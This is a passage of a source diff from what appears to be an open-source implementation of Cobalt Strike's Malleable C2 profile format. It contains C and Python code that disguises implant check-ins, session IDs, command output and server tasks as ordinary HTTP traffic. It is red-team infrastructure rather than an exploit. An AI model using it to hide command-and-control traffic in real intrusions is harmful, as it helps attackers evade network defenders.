(suffix && *suffix) { + extracted_copy = malleable_strdup(suffix); + } + break; + } + } + + if (!extracted_copy) { + return MALLEABLE_ERROR_NOT_FOUND; + } + + // Reverse transform + size_t extracted_len = strlen(extracted_copy); + malleable_error_t err = malleable_transform_reverse(chain, (uint8_t*)extracted_copy, + extracted_len, data_out, data_len_out); + free(extracted_copy); + return err; +} + +/* ===================================================================== */ +/* REQUEST/RESPONSE BUILDING */ +/* ===================================================================== */ + +malleable_error_t malleable_build_get_request( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* metadata, + size_t metadata_len, + malleable_http_request_t** request +) { + if (!profile || !metadata || !request) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_get_transactions, + profile->num_http_get, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + + // Allocate request + malleable_http_request_t* req = (malleable_http_request_t*)malleable_malloc(sizeof(malleable_http_request_t)); + if (!req) return MALLEABLE_ERROR_MEMORY; + memset(req, 0, sizeof(malleable_http_request_t)); + + // Set method + req->method = malleable_strdup(txn->method == MALLEABLE_HTTP_POST ? "POST" : "GET"); + if (!req->method) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + // Select random URI + if (txn->num_uris == 0) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_INVALID_PROFILE; + } + size_t uri_idx = rand() % txn->num_uris; + req->uri = malleable_strdup(txn->uris[uri_idx]); + if (!req->uri) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + // Add User-Agent header + if (profile->useragent) { + malleable_error_t err = add_header(req, "User-Agent", profile->useragent); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } + + // Add fixed client headers + for (size_t i = 0; i < txn->client.num_headers; i++) { + // Parse "Name: Value" format + char* header_copy = malleable_strdup(txn->client.headers[i]); + if (!header_copy) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + char* colon = strchr(header_copy, ':'); + if (colon) { + *colon = '\0'; + char* value = colon + 1; + while (*value == ' ') value++; + + malleable_error_t err = add_header(req, header_copy, value); + free(header_copy); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } else { + free(header_copy); + } + } + + // Add fixed client parameters + for (size_t i = 0; i < txn->client.num_parameters; i++) { + const char* param = txn->client.parameters[i]; + const char* prefix = strchr(req->uri, '?') ? "&" : "?"; + size_t new_uri_len = strlen(req->uri) + strlen(prefix) + strlen(param) + 1; + char* new_uri = (char*)malleable_malloc(new_uri_len); + if (!new_uri) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(new_uri, new_uri_len, "%s%s%s", req->uri, prefix, param); + free(req->uri); + req->uri = new_uri; + } + + // Apply metadata transformation + if (txn->client.metadata) { + malleable_error_t err = apply_and_place(txn->client.metadata, metadata, metadata_len, req, NULL); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } + + remove_headers(req, profile); + + *request = req; + return MALLEABLE_SUCCESS; +} + +malleable_error_t malleable_build_post_request( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* session_id, + size_t id_len, + const uint8_t* output, + size_t output_len, + malleable_http_request_t** request +) { + if (!profile || !session_id || !output || !request) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_post_transactions, + profile->num_http_post, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + + // Allocate request + malleable_http_request_t* req = (malleable_http_request_t*)malleable_malloc(sizeof(malleable_http_request_t)); + if (!req) return MALLEABLE_ERROR_MEMORY; + memset(req, 0, sizeof(malleable_http_request_t)); + + // Set method + req->method = malleable_strdup(txn->method == MALLEABLE_HTTP_GET ? "GET" : "POST"); + if (!req->method) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + // Select random URI + if (txn->num_uris == 0) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_INVALID_PROFILE; + } + size_t uri_idx = rand() % txn->num_uris; + req->uri = malleable_strdup(txn->uris[uri_idx]); + if (!req->uri) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + // Add User-Agent header + if (profile->useragent) { + malleable_error_t err = add_header(req, "User-Agent", profile->useragent); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } + + // Add fixed client headers + for (size_t i = 0; i < txn->client.num_headers; i++) { + char* header_copy = malleable_strdup(txn->client.headers[i]); + if (!header_copy) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + + char* colon = strchr(header_copy, ':'); + if (colon) { + *colon = '\0'; + char* value = colon + 1; + while (*value == ' ') value++; + + malleable_error_t err = add_header(req, header_copy, value); + free(header_copy); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } else { + free(header_copy); + } + } + + // Add fixed client parameters + for (size_t i = 0; i < txn->client.num_parameters; i++) { + const char* param = txn->client.parameters[i]; + const char* prefix = strchr(req->uri, '?') ? "&" : "?"; + size_t new_uri_len = strlen(req->uri) + strlen(prefix) + strlen(param) + 1; + char* new_uri = (char*)malleable_malloc(new_uri_len); + if (!new_uri) { + malleable_http_request_free(req); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(new_uri, new_uri_len, "%s%s%s", req->uri, prefix, param); + free(req->uri); + req->uri = new_uri; + } + + // Apply session ID transformation + if (txn->client.id) { + malleable_error_t err = apply_and_place(txn->client.id, session_id, id_len, req, NULL); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } + + // Apply output transformation + if (txn->client.output) { + malleable_error_t err = apply_and_place(txn->client.output, output, output_len, req, NULL); + if (err != MALLEABLE_SUCCESS) { + malleable_http_request_free(req); + return err; + } + } + + remove_headers(req, profile); + + *request = req; + return MALLEABLE_SUCCESS; +} + +malleable_error_t malleable_parse_get_response( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_response_t* response, + uint8_t** data_out, + size_t* data_len_out +) { + if (!profile || !response || !data_out || !data_len_out) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_get_transactions, + profile->num_http_get, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + if (!txn->server.output) return MALLEABLE_ERROR_NOT_FOUND; + + const char* extracted = NULL; + char* extracted_copy = NULL; + + // Extract based on server output termination type + switch (txn->server.output->termination.type) { + case MALLEABLE_TERM_HEADER: + // Find header in response + for (size_t i = 0; i < response->num_headers; i++) { + const char* header = response->headers[i]; + size_t name_len = strlen(txn->server.output->termination.target); + if (strncmp(header, txn->server.output->termination.target, name_len) == 0 && + header[name_len] == ':') { + extracted = header + name_len + 1; + while (*extracted == ' ') extracted++; + extracted_copy = malleable_strdup(extracted); + break; + } + } + break; + + case MALLEABLE_TERM_PRINT: + // Data is in response body + if (response->body && response->body_len > 0) { + extracted_copy = (char*)malleable_malloc(response->body_len + 1); + if (extracted_copy) { + memcpy(extracted_copy, response->body, response->body_len); + extracted_copy[response->body_len] = '\0'; + } + } + break; + + case MALLEABLE_TERM_PARAMETER: + case MALLEABLE_TERM_URI_APPEND: + // These don't make sense for server responses + return MALLEABLE_ERROR_NOT_FOUND; + } + + if (!extracted_copy) { + return MALLEABLE_ERROR_NOT_FOUND; + } + + // Reverse transform + size_t extracted_len = strlen(extracted_copy); + malleable_error_t err = malleable_transform_reverse(txn->server.output, + (uint8_t*)extracted_copy, + extracted_len, + data_out, + data_len_out); + free(extracted_copy); + return err; +} + +malleable_error_t malleable_extract_metadata( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** metadata_out, + size_t* metadata_len_out +) { + if (!profile || !request || !metadata_out || !metadata_len_out) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_get_transactions, + profile->num_http_get, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + if (!txn->client.metadata) return MALLEABLE_ERROR_NOT_FOUND; + + return extract_and_reverse(txn->client.metadata, request, txn, metadata_out, metadata_len_out); +} + +malleable_error_t malleable_extract_session_id( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** id_out, + size_t* id_len_out +) { + if (!profile || !request || !id_out || !id_len_out) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_post_transactions, + profile->num_http_post, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + if (!txn->client.id) return MALLEABLE_ERROR_NOT_FOUND; + + return extract_and_reverse(txn->client.id, request, txn, id_out, id_len_out); +} + +malleable_error_t malleable_extract_output( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** output_out, + size_t* output_len_out +) { + if (!profile || !request || !output_out || !output_len_out) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_post_transactions, + profile->num_http_post, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + if (!txn->client.output) return MALLEABLE_ERROR_NOT_FOUND; + + return extract_and_reverse(txn->client.output, request, txn, output_out, output_len_out); +} + +malleable_error_t malleable_build_get_response( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* data, + size_t data_len, + malleable_http_response_t** response +) { + if (!profile || !data || !response) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_get_transactions, + profile->num_http_get, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + + // Allocate response + malleable_http_response_t* resp = (malleable_http_response_t*)malleable_malloc(sizeof(malleable_http_response_t)); + if (!resp) return MALLEABLE_ERROR_MEMORY; + memset(resp, 0, sizeof(malleable_http_response_t)); + + resp->status_code = 200; + + // Add fixed server headers + for (size_t i = 0; i < txn->server.num_headers; i++) { + size_t new_count = resp->num_headers + 1; + char** new_headers = (char**)malleable_realloc(resp->headers, new_count * sizeof(char*)); + if (!new_headers) { + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + new_headers[new_count - 1] = malleable_strdup(txn->server.headers[i]); + if (!new_headers[new_count - 1]) { + free(new_headers); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + resp->headers = new_headers; + resp->num_headers = new_count; + } + + // Apply output transformation + if (txn->server.output) { + uint8_t* transformed = NULL; + size_t transformed_len = 0; + malleable_error_t err = malleable_transform_apply(txn->server.output, data, data_len, + &transformed, &transformed_len); + if (err != MALLEABLE_SUCCESS) { + malleable_http_response_free(resp); + return err; + } + + // Place based on termination type + switch (txn->server.output->termination.type) { + case MALLEABLE_TERM_HEADER: { + // Add as response header + size_t new_count = resp->num_headers + 1; + char** new_headers = (char**)malleable_realloc(resp->headers, new_count * sizeof(char*)); + if (!new_headers) { + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + // Null-terminate transformed data + char* transformed_str = (char*)malleable_realloc(transformed, transformed_len + 1); + if (!transformed_str) { + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + transformed_str[transformed_len] = '\0'; + + size_t header_len = strlen(txn->server.output->termination.target) + + transformed_len + 3; + char* header = (char*)malleable_malloc(header_len); + if (!header) { + free(transformed_str); + free(new_headers); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(header, header_len, "%s: %s", txn->server.output->termination.target, + transformed_str); + free(transformed_str); + + new_headers[new_count - 1] = header; + resp->headers = new_headers; + resp->num_headers = new_count; + break; + } + + case MALLEABLE_TERM_PRINT: + // Set as response body + resp->body = transformed; + resp->body_len = transformed_len; + break; + + case MALLEABLE_TERM_PARAMETER: + case MALLEABLE_TERM_URI_APPEND: + // These don't make sense for responses + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + } + + *response = resp; + return MALLEABLE_SUCCESS; +} + +malleable_error_t malleable_build_post_response( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* data, + size_t data_len, + malleable_http_response_t** response +) { + if (!profile || !response) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Find transaction + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_post_transactions, + profile->num_http_post, + variant + ); + if (!txn) return MALLEABLE_ERROR_INVALID_VARIANT; + + // Allocate response + malleable_http_response_t* resp = (malleable_http_response_t*)malleable_malloc(sizeof(malleable_http_response_t)); + if (!resp) return MALLEABLE_ERROR_MEMORY; + memset(resp, 0, sizeof(malleable_http_response_t)); + + resp->status_code = 200; + + // Add fixed server headers + for (size_t i = 0; i < txn->server.num_headers; i++) { + size_t new_count = resp->num_headers + 1; + char** new_headers = (char**)malleable_realloc(resp->headers, new_count * sizeof(char*)); + if (!new_headers) { + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + new_headers[new_count - 1] = malleable_strdup(txn->server.headers[i]); + if (!new_headers[new_count - 1]) { + free(new_headers); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + resp->headers = new_headers; + resp->num_headers = new_count; + } + + // Apply optional output transformation (POST responses often have no data) + if (data && data_len > 0 && txn->server.output) { + uint8_t* transformed = NULL; + size_t transformed_len = 0; + malleable_error_t err = malleable_transform_apply(txn->server.output, data, data_len, + &transformed, &transformed_len); + if (err != MALLEABLE_SUCCESS) { + malleable_http_response_free(resp); + return err; + } + + // Place based on termination type + switch (txn->server.output->termination.type) { + case MALLEABLE_TERM_HEADER: { + // Add as response header + size_t new_count = resp->num_headers + 1; + char** new_headers = (char**)malleable_realloc(resp->headers, new_count * sizeof(char*)); + if (!new_headers) { + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + + char* transformed_str = (char*)malleable_realloc(transformed, transformed_len + 1); + if (!transformed_str) { + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + transformed_str[transformed_len] = '\0'; + + size_t header_len = strlen(txn->server.output->termination.target) + + transformed_len + 3; + char* header = (char*)malleable_malloc(header_len); + if (!header) { + free(transformed_str); + free(new_headers); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_MEMORY; + } + snprintf(header, header_len, "%s: %s", txn->server.output->termination.target, + transformed_str); + free(transformed_str); + + new_headers[new_count - 1] = header; + resp->headers = new_headers; + resp->num_headers = new_count; + break; + } + + case MALLEABLE_TERM_PRINT: + resp->body = transformed; + resp->body_len = transformed_len; + break; + + case MALLEABLE_TERM_PARAMETER: + case MALLEABLE_TERM_URI_APPEND: + free(transformed); + malleable_http_response_free(resp); + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + } + + *response = resp; + return MALLEABLE_SUCCESS; +} + +/* + * Note: The high-level callback API (malleable_callback_get/post) is implemented + * in malleable_callbacks.c. Link that file along with malleable_http_win.c to use + * the transparent callback functionality. + */ diff --git a/examples/include/openmalleable.h b/examples/include/openmalleable.h new file mode 100644 index 0000000..56f5fb0 --- /dev/null +++ b/examples/include/openmalleable.h @@ -0,0 +1,486 @@ +/** + * Malleable - Open Source Malleable C2 Profile Implementation + * + * Framework-agnostic HTTP transformation library implementing Cobalt Strike's + * Malleable C2 profile format for security research and testing. + */ + +#ifndef OPENMALLEABLE_H +#define OPENMALLEABLE_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ===================================================================== */ +/* DATA STRUCTURES */ +/* ===================================================================== */ + +/** + * Transform types supported in malleable profiles + */ +typedef enum { + MALLEABLE_TRANSFORM_BASE64, + MALLEABLE_TRANSFORM_BASE64URL, + MALLEABLE_TRANSFORM_NETBIOS, + MALLEABLE_TRANSFORM_NETBIOSU, + MALLEABLE_TRANSFORM_MASK, + MALLEABLE_TRANSFORM_PREPEND, + MALLEABLE_TRANSFORM_APPEND +} malleable_transform_type_t; + +/** + * Termination statement types + */ +typedef enum { + MALLEABLE_TERM_HEADER, + MALLEABLE_TERM_PARAMETER, + MALLEABLE_TERM_PRINT, + MALLEABLE_TERM_URI_APPEND +} malleable_termination_type_t; + +/** + * HTTP methods + */ +typedef enum { + MALLEABLE_HTTP_GET, + MALLEABLE_HTTP_POST +} malleable_http_method_t; + +/** + * A single transform step in a data transformation chain + */ +typedef struct { + malleable_transform_type_t type; + char* argument; // For prepend/append transforms (NULL otherwise) +} malleable_transform_t; + +/** + * A termination statement (where transformed data goes) + */ +typedef struct { + malleable_termination_type_t type; + char* target; // Header name, parameter key, etc. +} malleable_termination_t; + +/** + * A complete data transformation pipeline + */ +typedef struct { + malleable_transform_t* transforms; + size_t num_transforms; + malleable_termination_t termination; +} malleable_transform_chain_t; + +/** + * HTTP transaction configuration (client or server side) + */ +typedef struct { + char** headers; // Array of header strings (NULL-terminated) + size_t num_headers; + char** parameters; // Array of "key=value" strings (NULL-terminated) + size_t num_parameters; + malleable_transform_chain_t* metadata; // For GET client metadata + malleable_transform_chain_t* id; // For POST client id + malleable_transform_chain_t* output; // For GET server output or POST client output +} malleable_http_config_t; + +/** + * A complete HTTP transaction definition + */ +typedef struct { + char* variant; // "default", "variant_1", etc. + malleable_http_method_t method; // GET or POST + char** uris; // Array of possible URIs + size_t num_uris; + malleable_http_config_t client; + malleable_http_config_t server; +} malleable_http_transaction_t; + +/** + * Complete malleable profile + */ +typedef struct { + char* profile_name; + char* useragent; + char** headers_remove; + size_t num_headers_remove; + + malleable_http_transaction_t* http_get_transactions; + size_t num_http_get; + + malleable_http_transaction_t* http_post_transactions; + size_t num_http_post; +} malleable_profile_t; + +/** + * HTTP request structure + */ +typedef struct { + char* method; // "GET", "POST", etc. + char* uri; // Full URI with query parameters + char** headers; // NULL-terminated array of "Name: Value" + size_t num_headers; + uint8_t* body; + size_t body_len; +} malleable_http_request_t; + +/** + * HTTP response structure + */ +typedef struct { + int status_code; + char** headers; + size_t num_headers; + uint8_t* body; + size_t body_len; +} malleable_http_response_t; + +/** + * Error codes + */ +typedef enum { + MALLEABLE_SUCCESS = 0, + MALLEABLE_ERROR_INVALID_PROFILE = -1, + MALLEABLE_ERROR_PARSE_FAILED = -2, + MALLEABLE_ERROR_INVALID_VARIANT = -3, + MALLEABLE_ERROR_TRANSFORM_FAILED = -4, + MALLEABLE_ERROR_MEMORY = -5, + MALLEABLE_ERROR_NOT_FOUND = -6 +} malleable_error_t; + +/* ===================================================================== */ +/* PROFILE PARSING */ +/* ===================================================================== */ + +/** + * Parse a malleable profile from memory (string buffer) + * This is the primary way to load profiles. If you need to load from a file, + * read the file into a string first and pass it to this function. + * + * @param profile_str Profile content as null-terminated string + * @return Profile structure or NULL on error + * + * @example Loading from embedded string: + * const char* profile = "set sample_name \"test\"; ..."; + * malleable_profile_t* p = malleable_profile_parse(profile); + * + * @example Loading from file (user-managed): + * char* content = read_file("config.profile"); + * malleable_profile_t* p = malleable_profile_parse(content); + * free(content); + */ +malleable_profile_t* malleable_profile_parse(const char* profile_str); + +/** + * Free a profile structure + * @param profile Profile to free + */ +void malleable_profile_free(malleable_profile_t* profile); + +/* ===================================================================== */ +/* TRANSFORMATION ENGINE */ +/* ===================================================================== */ + +/** + * Apply a transformation chain to data (forward transform - client side) + * @param chain Transform chain to apply + * @param input Input data + * @param input_len Input data length + * @param output Output buffer (allocated by function, caller must free) + * @param output_len Output data length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_transform_apply( + const malleable_transform_chain_t* chain, + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +); + +/** + * Reverse a transformation chain (server side extraction) + * @param chain Transform chain to reverse + * @param input Transformed data + * @param input_len Transformed data length + * @param output Original data (allocated by function, caller must free) + * @param output_len Original data length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_transform_reverse( + const malleable_transform_chain_t* chain, + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +); + +/* ===================================================================== */ +/* HTTP REQUEST BUILDING */ +/* ===================================================================== */ + +/** + * Build an HTTP GET request (beacon metadata check-in) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param metadata Raw metadata to send + * @param metadata_len Metadata length + * @param request Output request structure (caller must free with malleable_http_request_free) + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_build_get_request( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* metadata, + size_t metadata_len, + malleable_http_request_t** request +); + +/** + * Build an HTTP POST request (beacon output submission) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param session_id Session identifier + * @param id_len Session ID length + * @param output Response data to send + * @param output_len Output data length + * @param request Output request structure (caller must free with malleable_http_request_free) + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_build_post_request( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* session_id, + size_t id_len, + const uint8_t* output, + size_t output_len, + malleable_http_request_t** request +); + +/** + * Parse server response from GET request (extract tasks) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param response HTTP response + * @param data_out Extracted data (caller must free) + * @param data_len_out Extracted data length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_parse_get_response( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_response_t* response, + uint8_t** data_out, + size_t* data_len_out +); + +/** + * Extract metadata from HTTP GET request (server side) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param request HTTP request + * @param metadata_out Extracted metadata (caller must free) + * @param metadata_len_out Extracted metadata length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_extract_metadata( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** metadata_out, + size_t* metadata_len_out +); + +/** + * Extract session ID from HTTP POST request (server side) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param request HTTP request + * @param id_out Extracted session ID (caller must free) + * @param id_len_out Extracted ID length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_extract_session_id( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** id_out, + size_t* id_len_out +); + +/** + * Extract output from HTTP POST request (server side) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param request HTTP request + * @param output_out Extracted output (caller must free) + * @param output_len_out Extracted output length + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_extract_output( + const malleable_profile_t* profile, + const char* variant, + const malleable_http_request_t* request, + uint8_t** output_out, + size_t* output_len_out +); + +/** + * Build HTTP response with tasks (server response to GET) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param data Task data to send + * @param data_len Task data length + * @param response Output response structure (caller must free with malleable_http_response_free) + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_build_get_response( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* data, + size_t data_len, + malleable_http_response_t** response +); + +/** + * Build HTTP response for POST (server response to POST) + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param data Optional response data + * @param data_len Response data length + * @param response Output response structure (caller must free with malleable_http_response_free) + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_build_post_response( + const malleable_profile_t* profile, + const char* variant, + const uint8_t* data, + size_t data_len, + malleable_http_response_t** response +); + +/* ===================================================================== */ +/* MEMORY MANAGEMENT */ +/* ===================================================================== */ + +/** + * Free an HTTP request structure + * @param request Request to free + */ +void malleable_http_request_free(malleable_http_request_t* request); + +/** + * Free an HTTP response structure + * @param response Response to free + */ +void malleable_http_response_free(malleable_http_response_t* response); + +/* ===================================================================== */ +/* UTILITY FUNCTIONS */ +/* ===================================================================== */ + +/** + * Get error message for error code + * @param error Error code + * @return Error message string + */ +const char* malleable_error_string(malleable_error_t error); + +/** + * Find transaction by variant name + * @param transactions Array of transactions + * @param num_transactions Number of transactions + * @param variant Variant name (NULL for "default") + * @return Pointer to transaction or NULL if not found + */ +malleable_http_transaction_t* malleable_find_transaction( + malleable_http_transaction_t* transactions, + size_t num_transactions, + const char* variant +); + +/* ===================================================================== */ +/* TRANSPARENT CALLBACK API */ +/* ===================================================================== */ + +/** + * Perform a complete GET callback (check-in with metadata, receive tasks) + * + * This is a high-level function that: + * 1. Builds an HTTP GET request with transformed metadata + * 2. Sends the request to the server + * 3. Receives and parses the response + * 4. Extracts and returns the server's task data + * + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param host Target host (domain or IP) + * @param port Target port (0 for default: 80 for HTTP, 443 for HTTPS) + * @param use_https Use HTTPS/TLS if non-zero + * @param metadata Raw metadata to send + * @param metadata_len Metadata length + * @param tasks_out Extracted task data (caller must free) + * @param tasks_len_out Task data length + * @return MALLEABLE_SUCCESS or error code + * + * Note: Requires WinHTTP on Windows. Link with malleable_http_win.c + */ +malleable_error_t malleable_callback_get( + const malleable_profile_t* profile, + const char* variant, + const char* host, + int port, + int use_https, + const uint8_t* metadata, + size_t metadata_len, + uint8_t** tasks_out, + size_t* tasks_len_out +); + +/** + * Perform a complete POST callback (submit output data) + * + * This is a high-level function that: + * 1. Builds an HTTP POST request with transformed session ID and output + * 2. Sends the request to the server + * 3. Receives and parses the response + * 4. Optionally extracts server response data + * + * @param profile Malleable profile + * @param variant Transaction variant (NULL for "default") + * @param host Target host (domain or IP) + * @param port Target port (0 for default: 80 for HTTP, 443 for HTTPS) + * @param use_https Use HTTPS/TLS if non-zero + * @param session_id Session identifier + * @param id_len Session ID length + * @param output Output data to send + * @param output_len Output data length + * @param response_out Optional server response data (caller must free, can be NULL) + * @param response_len_out Optional server response length (can be NULL) + * @return MALLEABLE_SUCCESS or error code + * + * Note: Requires WinHTTP on Windows. Link with malleable_http_win.c + */ +malleable_error_t malleable_callback_post( + const malleable_profile_t* profile, + const char* variant, + const char* host, + int port, + int use_https, + const uint8_t* session_id, + size_t id_len, + const uint8_t* output, + size_t output_len, + uint8_t** response_out, + size_t* response_len_out +); + +#ifdef __cplusplus +} +#endif + +#endif /* OPENMALLEABLE_H */ diff --git a/examples/include/openmalleable.py b/examples/include/openmalleable.py new file mode 100644 index 0000000..e18c77c --- /dev/null +++ b/examples/include/openmalleable.py @@ -0,0 +1,835 @@ +""" +Malleable - Python Server Implementation + +Framework-agnostic HTTP transformation library implementing Cobalt Strike's +Malleable C2 profile format for security research and testing. +""" + +import re +import base64 +import struct +from typing import Optional, Dict, List, Tuple, Any +import binascii +from dataclasses import dataclass +from enum import Enum + + +def _strip_comments(content: str) -> str: + result = [] + in_string = False + i = 0 + while i < len(content): + ch = content[i] + if in_string: + if ch == '\\' and i + 1 < len(content): + result.append(ch) + result.append(content[i + 1]) + i += 2 + continue + if ch == '"': + in_string = False + result.append(ch) + else: + if ch == '"': + in_string = True + result.append(ch) + elif ch == '#': + while i < len(content) and content[i] != '\n': + i += 1 + result.append('\n' if i < len(content) and content[i] == '\n' else '') + else: + result.append(ch) + i += 1 + return ''.join(result) + + +def _decode_string_str(s: str) -> str: + return TransformEngine._decode_string(s).decode('utf-8', errors='replace') + + +# ========================================================================= +# DATA STRUCTURES +# ========================================================================= + +class TransformType(Enum): + """Transform types supported in malleable profiles""" + BASE64 = "base64" + BASE64URL = "base64url" + NETBIOS = "netbios" + NETBIOSU = "netbiosu" + MASK = "mask" + PREPEND = "prepend" + APPEND = "append" + + +class TerminationType(Enum): + """Termination statement types""" + HEADER = "header" + PARAMETER = "parameter" + PRINT = "print" + URI_APPEND = "uri-append" + + +@dataclass +class Transform: + """A single transform step""" + type: TransformType + argument: Optional[str] = None + + +@dataclass +class Termination: + """Termination statement""" + type: TerminationType + target: Optional[str] = None + + +@dataclass +class TransformChain: + """Complete data transformation pipeline""" + transforms: List[Transform] + termination: Termination + + +@dataclass +class HttpConfig: + """HTTP transaction configuration""" + headers: Dict[str, str] + parameters: Dict[str, str] + metadata: Optional[TransformChain] = None + id: Optional[TransformChain] = None + output: Optional[TransformChain] = None + + +@dataclass +class HttpTransaction: + """Complete HTTP transaction definition""" + variant: str + method: str # GET or POST + uris: List[str] + client: HttpConfig + server: HttpConfig + + +@dataclass +class HttpRequest: + """HTTP request structure""" + method: str + uri: str + path: str + query: Dict[str, str] + headers: Dict[str, str] + body: bytes + + +@dataclass +class HttpResponse: + """HTTP response structure""" + status_code: int + headers: Dict[str, str] + body: bytes + + +class ProfileMismatchError(Exception): + """Raised when a request does not match the profile or transforms fail.""" + + def __init__(self, reason: str, details: str): + super().__init__(f"{reason}: {details}") + self.reason = reason + self.details = details + + +class MalleableProfile: + """ + Malleable C2 profile + + This class parses profiles from memory (string). If you need to load from a file, + read it into a string first and pass it to this constructor. + + Example - Embedded profile: + profile_str = 'set sample_name "test"; ...' + profile = MalleableProfile(profile_str) + + Example - Load from file (user-managed): + with open('config.profile', 'r') as f: + profile = MalleableProfile(f.read()) + """ + + def __init__(self, profile_content: str): + """ + Initialize malleable profile from string + + Args: + profile_content: Profile content as string + """ + self.profile_name: Optional[str] = None + self.useragent: Optional[str] = None + self.headers_remove: List[str] = [] + self.http_get_transactions: Dict[str, HttpTransaction] = {} + self.http_post_transactions: Dict[str, HttpTransaction] = {} + + self._parse(profile_content) + + def _parse(self, content: str): + """Parse malleable profile content""" + # Remove comments + original_len = len(content) + hash_in_quotes = 0 + in_string = False + i = 0 + while i < len(content): + ch = content[i] + if in_string: + if ch == '\\' and i + 1 < len(content): + i += 2 + continue 